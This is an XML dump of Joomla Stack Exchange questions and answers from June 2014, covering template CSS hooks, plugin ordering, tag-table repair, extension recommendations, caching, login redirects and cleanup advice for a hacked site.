  <row Id="2318" PostTypeId="2" ParentId="878" CreationDate="2014-06-17T12:37:04.527" Score="1" Body="&lt;p&gt;To create specific targets for your css you can echo various page variables to a class on the body element, giving you a highly specific css hook to target your styles to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the top of your index.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$app = JFactory::getApplication();&#xA;// Detect the active variables&#xA;$option   = $app-&amp;gt;input-&amp;gt;getCmd('option', '');&#xA;$view     = $app-&amp;gt;input-&amp;gt;getCmd('view', '');&#xA;$layout   = $app-&amp;gt;input-&amp;gt;getCmd('layout', '');&#xA;$itemid   = $app-&amp;gt;input-&amp;gt;getCmd('Itemid', '');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And on the body tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;&amp;lt;?php echo $option . &quot; view-&quot; . $view . &quot; layout-&quot; . $layout. &quot; itemid-&quot; . $itemid . &quot;&quot;;?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, you don't need to do this to adjust the body element based on screen resolution, you only need some @media-queries in your css to do that.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-06-17T12:37:04.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2319" PostTypeId="1" CreationDate="2014-06-17T13:01:41.263" Score="3" ViewCount="77" Body="&lt;p&gt;I have small issue with one of 3rd party system plugins that fires before my system plugin.&#xA;We both use &lt;code&gt;onAfterRoute&lt;/code&gt; but if that plugin is ordered before mine, my  override is not taking place. &#xA;I know that I can change the order of my plugin in backend and this way avoid the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing I dont like is that I would need to do something like this in plugin  install.script.php to make sure my plugin always fires first &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$q-&amp;gt;set(array('enabled = 1','ordering = -1000'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://prntscr.com/3totid&quot; rel=&quot;nofollow&quot;&gt;http://prntscr.com/3totid&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes , it is an ugly hack and another issue is that admin can still change the order. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is , is it possible to do this from the system plugin itself?&#xA;Something in &lt;code&gt;JDispatcher&lt;/code&gt;  maybe to order my plugin first?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="200" LastActivityDate="2014-06-17T15:50:51.753" Title="Is it possible to change system plugin fire order without change order in backend?" Tags="|development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2320" PostTypeId="2" ParentId="2317" CreationDate="2014-06-17T15:15:28.733" Score="2" Body="&lt;p&gt;If there are not any other hacks over the core code that affect the save functions of the component, then this issue makes me think that something can be messed up in the &lt;strong&gt;Nested Set Model&lt;/strong&gt; in the &lt;strong&gt;jos_tags table&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You will need to check your tags db_table with a tool like &lt;strong&gt;phpmyAdmin&lt;/strong&gt;, to see about those values, and maybe if you need further advise, post here a screenshot of tags table columns for further investigation.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;For more info, check this very good article that exlains the &lt;strong&gt;&lt;a href=&quot;http://mikehillyer.com/articles/managing-hierarchical-data-in-mysql/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Nested Set&#xA;Model&lt;/a&gt;&lt;/strong&gt; concept. A good read for everyone.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h2&gt;The Nested Set Model diagram:&lt;br /&gt;&lt;br /&gt;&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EUtod.png&quot; alt=&quot;The Nested Set Model diagram&quot; /&gt;&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;h2&gt;Your Joomla Tags table&lt;/h2&gt;&#xA;&lt;p&gt;But in a brief, if all your tags are those I see in the screenshot, you should expect to see something similar to the screenshot I post here.&lt;/p&gt;&#xA;&lt;p&gt;What you should care more from my screenshot is the parent_id (of course), the lft, rgt, level and path values.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/aBb58.jpg&quot; alt=&quot;right tags table for the question&quot; /&gt;&#xA;&lt;br&gt;&#xA;Since you want all your tags be children of the root tag (meaning having no other tags as parent), then they should be all set to level=1 and parent_id = 1. For lft and rgt values, then all of your tags should have numbers with no larger difference than 1, between their left/right values, while ROOT should have the lft value set to 0 and the right set to the higher number of this calculation: &amp;quot;(total number of tags * 2) -1&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Generally there is not an easy way to deal with this for the com_tags. If it happens that you just have only a few tags, then you could edit the lft/rgt values by hand (of course after have calculate them). If you have an extended number of tags, then you would probably have to look to write a php script, that will calculate and set those values properly.&lt;/p&gt;&#xA;&lt;p&gt;Hope this helps and will not be too much confusing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;To be more specific - follow these steps:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Set ROOT lft/rgt 0-13, Joomla lft/rgt to 1-2 baking 3-4 and continue like this till your last tag travel which should be 11-12. Also remove from the path the joomla and the slash part. But in any case - first take a backup of your db.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2022-10-28T11:18:48.013" LastActivityDate="2022-10-28T11:18:48.013" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="2321" PostTypeId="2" ParentId="2319" CreationDate="2014-06-17T15:50:51.753" Score="3" Body="&lt;p&gt;The only way I could imagine is if you have an second system plugin which does that in an earlier event like &lt;code&gt;onAfterInitialise&lt;/code&gt;.&#xA;You would likely have to change it in the database directly then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However imho, you should not do that at all. It's up to the system admin to decide in which order the plugins should fire. If your plugin needs to be first, tell the admin that she should check that.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-06-17T15:50:51.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2322" PostTypeId="1" AcceptedAnswerId="2325" CreationDate="2014-06-17T17:12:42.863" Score="2" ViewCount="2230" Body="&lt;p&gt;I have to upgrade a J2.5 website to J3 that uses JDownloads. The issue is that JDownloads is still in beta for J3. Anyone knows of any good replacement for this component that will also provide any kind of data migration? &lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-06-28T11:34:29.240" Title="Replacement for JDownloads" Tags="|extensions|migration|download|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2323" PostTypeId="1" CreationDate="2014-06-17T17:23:35.833" Score="5" ViewCount="2418" Body="&lt;p&gt;Is it true that even if i enable module caching from module setting, module caching not works unless system cache plugin turned on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to use cache per module/component from their settings not via code irrelevant of whether cache plugin or cache in global configuration enabled or not.     &lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="52" LastEditDate="2014-07-30T20:42:02.887" LastActivityDate="2014-07-30T20:42:02.887" Title="Using caching for module or component independently" Tags="|php|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2324" PostTypeId="2" ParentId="2323" CreationDate="2014-06-17T17:42:41.730" Score="3" Body="&lt;p&gt;Yes, module caching will only work if the module has this option enabled &lt;strong&gt;and&lt;/strong&gt; if the caching option is selected in the Global Configuration. This is of course assuming the module has the caching parameter added to it which all core modules have. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do bare in mind thought that the caching option in the Global Configuration is different to the caching that the System Cache plugin does. The plugin will cache the whole page including module even if the module has the option disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only problem with adding a caching field to the XML file of all 3rd party extensions is of course that it is considered a core hack so in my opinion you would be best off using an extension such as &lt;a href=&quot;http://extensions.joomla.org/extensions/core-enhancements/performance/cache/13155&quot; rel=&quot;nofollow&quot;&gt;JotCache&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-06-17T17:42:41.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2325" PostTypeId="2" ParentId="2322" CreationDate="2014-06-17T18:34:22.423" Score="3" Body="&lt;p&gt;At first I was going to suggest sticking with the current version of jDownloads on your J3.x site but it won't even work in the slightest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not know of any Download Directory extensions that will allow you to import your data from jDownloads and having checked the JED site, I don't think any exist as it is a relatively big/complex extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you have 2 options here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use a completely different Download Directory extension. My suggestion would be something like &lt;a href=&quot;http://extensions.joomla.org/extensions/directory-a-documentation/downloads/5551&quot; rel=&quot;nofollow&quot;&gt;Phoca Download&lt;/a&gt;. This is assuming you want an extension which more or less that has the same rich features that jDownloads has. If you would prefer something a little less complex and smaller, maybe try &lt;a href=&quot;http://extensions.joomla.org/extensions/directory-a-documentation/downloads/18474&quot; rel=&quot;nofollow&quot;&gt;OSDownloads&lt;/a&gt;. I can only really recommend Phoca as it's the only one I have tried along with jDownloads. I tend to stay clear of these types of extensions as stick to custom download buttons in articles.&lt;/li&gt;&#xA;&lt;li&gt;Stick with Beta 2 of jDownloads and keep updating it when an update is released. The last update for the Beta was 2 weeks ago and looking at the changelog, a lot has been done so the stable version could possible be coming out soon.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2014-06-17T22:01:44.993" LastActivityDate="2014-06-17T22:01:44.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2326" PostTypeId="2" ParentId="2322" CreationDate="2014-06-18T00:11:53.373" Score="2" Body="&lt;p&gt;If you are going to switch, I would also recommend Phoca Downloads.  It's free and it's stable.  I would suggest staying away from DOCman.  It has been pretty buggy since they went to version 2.0 and it gets very cumbersome on sites with lots of files.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2014-06-18T00:11:53.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2327" PostTypeId="1" CreationDate="2014-06-18T02:28:27.837" Score="3" ViewCount="369" Body="&lt;p&gt;I'm using Community Builder (CB) 1.9.1 on Joomla 2.5.20 and find the CB List manager wanting. My intention is to stay with CB especially since 2.0 is on the horizon, but in the meantime,I've been looking for alternative extensions or plugins. Being able to control column widths, concatenate fields, bold and vary font sizes of labels etc are the specific shortcomings that come to mind. Pretty basic stuff from my point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A point to extension or plugin capabilities to enhance CB List Management is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1536" LastEditorUserId="168" LastEditDate="2014-07-31T08:01:49.510" LastActivityDate="2014-08-30T08:08:16.420" Title="CB 1.9.1 List Manager alternative list manager plugins" Tags="|component|joomla-2.5|plugin|module|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2328" PostTypeId="1" CreationDate="2014-06-18T04:30:03.263" Score="-1" ViewCount="150" Body="&lt;p&gt;Joomla has changed significantly in recent years. What are those recent changes which can help in making one reconsider Joomla for his projects?&lt;/p&gt;&#xA;" OwnerUserId="144" LastEditorUserId="68" LastEditDate="2014-06-20T13:14:45.310" LastActivityDate="2014-06-20T13:14:45.310" Title="What are the top reason to reconsider Joomla?" Tags="|joomla-3.x|cms|features|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2329" PostTypeId="2" ParentId="2328" CreationDate="2014-06-18T04:30:03.263" Score="4" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Joomla is Responsive&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qML3t.jpg&quot; alt=&quot;enter preformatted text here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;One click installation via App Store&lt;/strong&gt; : Joomla call it 'Install from Web'&#xA;&lt;img src=&quot;https://i.stack.imgur.com/zT436.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Joomla is more secure&lt;/strong&gt; &#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2 Factor authentication &#xA;&lt;img src=&quot;https://i.stack.imgur.com/fCCpa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Better encryption using Bcrypt : &lt;a href=&quot;http://techchurian.wordpress.com/2013/07/28/144/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Why Bcrypt is the best choice available&lt;/a&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ozWok.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Multilingual right from the start of installation&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XLr8A.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Quick and Easy language overriding&lt;/strong&gt;&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=0KiE-CtbZyY&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video to learn how to do overriding&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Content Versioning&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/miZBq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Adoption of jQuery&lt;/strong&gt;: &quot;Write Less, Do More&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/LxAfR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Joomla Framework&lt;/strong&gt; : Joomla has its own framework allowing the advanced users to create there own system independent of the protocols of the CMS. Using the framework enables you to define the structure and the logic of the applications.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="144" LastActivityDate="2014-06-18T04:30:03.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2330" PostTypeId="1" AcceptedAnswerId="2356" CreationDate="2014-06-18T05:53:43.140" Score="3" ViewCount="4562" Body="&lt;p&gt;Suppose a menu's (or article's) access is set to &lt;strong&gt;registered users&lt;/strong&gt; only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Path to the page : &lt;code&gt;http://localhost/menu&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when this &lt;strong&gt;URL&lt;/strong&gt; is directly access by any &lt;strong&gt;GUEST USER&lt;/strong&gt;, he's redirected to :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://localhost/...?view=login&lt;/code&gt; which asks him to login first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to change the path to redirect page..i have made a custom login page, i want it to be redirected to my custom made login page and not to &lt;code&gt;http://localhost/...?view=login&lt;/code&gt;. Which file needs to be edited to acheive that? &lt;/p&gt;&#xA;" OwnerUserId="383" LastActivityDate="2019-12-05T12:36:28.903" Title="Changing redirect login path for guests?" Tags="|joomla-3.x|user|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2332" PostTypeId="2" ParentId="2330" CreationDate="2014-06-18T07:05:08.497" Score="4" Body="&lt;p&gt;If you would like to make your login page look different, you can do a template override and no need to redirect to a different page.&#xA;Find your templates folder and select the template you are using. &#xA;Create an html folder if you do not have one.&#xA;The component you wanna override is &lt;em&gt;com_users&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a look at &lt;code&gt;/components/com_users/views&lt;/code&gt; folder, you can see all the views that can be overriden in the template folder. The one we need now is in the login folder. &#xA;&lt;code&gt;/components/com_users/views/login/tmpl&lt;/code&gt; - there are &lt;em&gt;default.php&lt;/em&gt; &lt;em&gt;default_login.php&lt;/em&gt; and &lt;em&gt;default_logout.php&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have already created an html folder in your template, now you need to copy these files in the following location:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/yourtemplate/html/com_users/login&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That will result in having 3 files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/templates/yourtemplate/html/com_users/login/default.php&#xA;/templates/yourtemplate/html/com_users/login/default_login.php&#xA;/templates/yourtemplate/html/com_users/login/default_logout.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You do not need the &lt;em&gt;tmpl&lt;/em&gt; folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can edit the &lt;em&gt;default_login.php&lt;/em&gt; to do the override. &lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="168" LastEditDate="2014-06-18T08:05:01.970" LastActivityDate="2014-06-18T08:05:01.970" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2333" PostTypeId="1" AcceptedAnswerId="2344" CreationDate="2014-06-18T08:02:02.730" Score="2" ViewCount="548" Body="&lt;p&gt;I am using Joomla 3 and need to create some online forms for a client (I am using the RSFormPro extension which is great).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However one feature that this extension does not include is the ability for the applicant to add their signature. Does anybody know how I could incorporate such a feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would like to use something like &lt;a href=&quot;https://github.com/brinley/jSignature&quot; rel=&quot;nofollow&quot;&gt;https://github.com/brinley/jSignature&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anybody has done this or has experience in jSignature please let me know.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="159" LastEditDate="2014-06-18T09:50:29.307" LastActivityDate="2017-07-01T15:25:41.360" Title="Electronic Signature &amp; Joomla" Tags="|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2335" PostTypeId="2" ParentId="2322" CreationDate="2014-06-18T08:07:18.160" Score="2" Body="&lt;p&gt;I have used DocMan and Phoca Download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I prefer Phoca because;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Multi-Purpose Component.&#xA;2) Excellent Graphic User Interface (GUI),&#xA;3) Extremely Simple to setup and Use.&#xA;4) Comprehensive Documentation and Support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I migrated my site from joomla docmac 2.5 to joomla 3 phoca with no issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;FTP your files down to your local pc, set up new categories in joomla 3 phoca. FTP up your files again, you should be all sorted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you could also try this extension which is also very good &lt;a href=&quot;http://sourceforge.net/p/docman2phoca/wiki/Home/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/docman2phoca/wiki/Home/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-06-20T15:28:47.570" LastActivityDate="2014-06-20T15:28:47.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2337" PostTypeId="2" ParentId="2328" CreationDate="2014-06-18T08:19:07.583" Score="0" Body="&lt;p&gt;It really depends on what framework you are planning on using with your Joomla site, as they differ so much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used so many and have finally decided on the T3 responsive framework by &lt;a href=&quot;http://www.joomlart.com/&quot; rel=&quot;nofollow&quot;&gt;Joomlart&lt;/a&gt;. It's great and free, lots of help from the community and well worth a look. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Their free (and commercial) templates are very cross compatible and T3 is very customisable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.8% of the World’s Websites Use Joomla and aswell Joomla Has More Than 6000 Extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla's latest 3.0 release delivers out-of-the-box support for mobile users. While most open-source CMSs support MySQL, Joomla recently added support for PostgreSQL, as well as commercial offerings such as Microsoft SQL Server, Azure cloud services and Oracle. It also supports 68 different languages and offers a choice of 10,000 different extensions -- less than either Drupal or WordPress, but impressive nonetheless.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla 3 introduced a full front end for end users, a new back end for website developers and administrators, and mobile support via an integrated Bootstrap framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is now available both as the Joomla CMS and as a general Web development platform called the Joomla Platform. The latter is a PHP framework that lets developers create standalone applications that can run on desktops, tablets, smartphones or in the cloud. While the Joomla Platform and Joomla CMS are separate projects, the Joomla CMS is an application that runs on top of the Joomla Platform.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastEditorUserId="1538" LastEditDate="2014-06-20T11:17:02.183" LastActivityDate="2014-06-20T11:17:02.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2338" PostTypeId="2" ParentId="2327" CreationDate="2014-06-18T08:21:37.817" Score="1" Body="&lt;p&gt;If you are looking for something other than CB you should check out EasyProfile. They have recently developed a user community platform that looks to have great potential. I currently use their EasyProfile Pro user login profile which is great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers have great response and support times, all the apps are very customisable too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe worth a look?&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2014-06-18T08:21:37.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2339" PostTypeId="2" ParentId="2305" CreationDate="2014-06-18T09:07:07.100" Score="4" Body="&lt;p&gt;It appears that your website has been hacked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reasons for a Hacked Joomla Website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of the reasons hackers gain access to your website are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;a third party extension with a vulnerability&lt;/li&gt;&#xA;&lt;li&gt;a Joomla vulnerability&lt;/li&gt;&#xA;&lt;li&gt;another account with a vulnerability on the same shared server&lt;/li&gt;&#xA;&lt;li&gt;poorly configured / maintained server / hosting environment&lt;/li&gt;&#xA;&lt;li&gt;compromised local computer which has website credentials stored on it&lt;/li&gt;&#xA;&lt;li&gt;weak password(s) cracked via brute force attacks&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Using a minimal number of well supported third party extensions from reputable developers is good practice but remember also that you need to keep Joomla and third party extensions up to date so that vulnerabilities are patched before they can be exploited by hackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solutions for a Hacked Joomla Website&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Restore from a clean backup. Update Joomla and all third party extensions to the latest versions. This is a good solution if you know when exactly the website was compromised but timing is hard to determine with any confidence.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Wipe the website and rebuild from scratch using up to date versions of Joomla and third party extensions. This is not usually a practical solution because of the work involved but can provide a high degree of confidence that the infection is eradicated.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Clean the website using the commercial &lt;a href=&quot;https://mysites.guru&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://mysites.guru&lt;/a&gt; (formerly myjoomla.com) security tool or similar, restoring any changed core files back to the originals, removing malware and reinstalling third party extensions as needed. Update Joomla and all third party extensions to the latest versions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You should also update the Joomla, hosting and database passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In practice, option 3 usually works well for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider improving the security of the website as per the official &lt;a href=&quot;http://docs.joomla.org/Security_Checklist&quot; rel=&quot;nofollow noreferrer&quot;&gt;Security Checklist&lt;/a&gt; and &lt;a href=&quot;https://joomla.stackexchange.com/a/180&quot;&gt;&quot;How to secure a new Joomla installation?&quot;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2019-09-07T08:48:46.983" LastActivityDate="2019-09-07T08:48:46.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2341" PostTypeId="1" CreationDate="2014-06-18T14:32:01.120" Score="2" ViewCount="174" Body="&lt;p&gt;I'm building a property website using iProperty for the properties and Akeeba Subscriptions to allow users to sign up through the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set up two different types of subscription (one where users sign up through the front end to be able to upload and manage their properties; the other is manually created by the admin in the backend, and then the details are sent to the user who can login and maintain a 'Favourites' list). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the accounts do not work unless I manually reset the password in the backend. I do not know why this is happening, but what is even stranger is that the front end registration works and then logs the user in and they are able to manage properties, BUT, as soon as they logout, there is no way back in for them unless I manually reset their password in the backend. An example of this is here if anyone wants to spend a minute to see this: red-ferndevelopment.co.uk/OfficeExperts/...iew=level&amp;amp;Itemid=347&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be very grateful if anyone has any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks &#xA;Austin&lt;/p&gt;&#xA;" OwnerUserId="1541" LastActivityDate="2014-06-19T17:05:34.160" Title="Password problem when a user registers (Akeeba Subscriptions)" Tags="|login|akeebabackup|account-password|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2342" PostTypeId="1" CreationDate="2014-06-18T15:23:36.667" Score="1" ViewCount="146" Body="&lt;p&gt;Example, I have the action in access.xml:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;action name=&quot;com_something.someaction&quot; title=&quot;someaction&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want to set it to &quot;Allow for the Public User group&quot; by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I there a simple way to do it, without putting the values directly to the database using the installation script?&lt;/p&gt;&#xA;" OwnerUserId="87" LastActivityDate="2014-07-23T02:19:57.020" Title="Predefined values for ACL action, for common user groups" Tags="|development|component|acl|custom-action|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2344" PostTypeId="2" ParentId="2333" CreationDate="2014-06-18T16:51:47.413" Score="2" Body="&lt;p&gt;I know RS Form provides the ability to add custom code and scripts to your forms. &#xA;Regarding JSignature, I didn't read all the API info from the link you posted, so I can't be sure how it works and its requirements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, here is how I would approach this. &#xA;First of course I would read the documentation to fully understand how everything works and what I can do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I would experiment on the implementation, by following the main instructions on how to set up JSignature in any other page. - At the end, everything comes down to the basics (html, js, php etc).&#xA;So, set up the form, create the elements for JSignature and give them the required ids. I saw that it asks for a div element, but it is possible that it could work with other elements as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, we need to link the JSignature scripts to the form. If the div is essential for the script, then we could add that special RS Form element, that is used to display static text and try to add the desired markup in there. It could be handy, to set the Form layout creation to manual, and build the form mark-up the way we need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, at the moment, I have no idea at all about how all this will work to store the signature in the database, or give us the ability to catch the signature from each submission in any other way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just a guess: Maybe we could have a hidden file field in RS Form, and with a few bits of code, using the script's API and the RS Form ability to save in the database, we could get close to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would get in touch with the RS Form developers and ask for their input. It could be possible that they like the idea and implement such a feature in the coming releases.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-06-18T16:51:47.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
